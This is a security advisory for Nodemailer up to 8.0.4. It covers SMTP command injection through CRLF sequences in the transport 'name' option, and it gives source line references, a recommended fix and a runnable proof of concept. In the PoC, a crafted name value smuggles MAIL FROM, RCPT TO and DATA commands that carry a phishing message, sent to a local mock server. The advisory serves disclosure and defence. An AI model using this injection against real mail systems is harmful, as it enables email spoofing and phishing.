Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.
The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:
// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();
// line 1336
this._sendCommand('EHLO ' + this.name);
The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):
this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));
If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.
This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.
The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.
const nodemailer = require('nodemailer');
const net = require('net');
// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
socket.write('220 test ESMTP\r\n');
socket.on('data', data => {
const lines = data.toString().split('\r\n').filter(l => l);
lines.forEach(line => {
console.log('SMTP CMD:', line);
if (line.startsWith('EHLO') || line.startsWith('HELO'))
socket.write('250 OK\r\n');
else if (line.startsWith('MAIL FROM'))
socket.write('250 OK\r\n');
else if (line.startsWith('RCPT TO'))
socket.write('250 OK\r\n');
else if (line === 'DATA')
socket.write('354 Go\r\n');
else if (line === '.')
socket.write('250 OK\r\n');
else if (line === 'QUIT')
{ socket.write('221 Bye\r\n'); socket.end(); }
else if (line === 'RSET')
socket.write('250 OK\r\n');
});
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
// Inject a complete phishing email via EHLO name
const transport = nodemailer.createTransport({
host: '127.0.0.1',
port: port,
secure: false,
name: 'legit.host\r\nMAIL FROM:<[email protected]>\r\n'
+ 'RCPT TO:<[email protected]>\r\nDATA\r\n'
+ 'From: [email protected]\r\nTo: [email protected]\r\n'
+ 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
});
transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'Normal email',
text: 'Normal content'
}, () => { server.close(); process.exit(0); });
});
Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.
Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:
What can an attacker do:
The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.
Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:
this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');
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